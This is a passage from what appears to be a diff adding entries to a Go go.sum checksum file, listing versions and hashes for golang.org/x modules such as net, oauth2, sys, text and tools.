h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= +golang.org/x/mod v0.8.0 h1:LUYupSeNrTNCGzR/hVBk2NHZO4hXcVaW1k4Qx7rjPx8= +golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= +golang.org/x/net v0.0.0-20190613194153-d28f0bde5980/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200222125558-5a598a2470a0/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= +golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= +golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= +golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc= +golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= +golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8= +golang.org/x/net v0.0.0-20210503060351-7fd8e65b6420/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20210805182204-aaa1db679c0d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.23.0 h1:7EYJ93RZ9vYSZAIb2x3lnuvqO5zneoD6IvWjuhfxjTs= +golang.org/x/net v0.23.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg= +golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= +golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210220000619-9bb904979d93/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210313182246-cd4f82c27b84/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210628180205-a41e5a781914/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210805134026-6f1e6394065a/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210819190943-2bc19b11175f/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20211005180243-6b3c2da341f1/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20181122145206-62eef0e2fa9b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200124204421-9fbb57f87de9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210220050731-9a76102bfb43/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210514084401-e8d321eab015/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210603125802-9665404d3644/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210809222454-d867a43fc93e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210816183151-1e6c022a8912/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210908233432-aa78b53d3365/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211205182925-97ca703d548d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4= +golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= +golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= +golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= +golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20190907020128-2ca718005c18/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200204074204-1cc6d1ef6c74/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200212150539-ea181f53ac56/go.mod 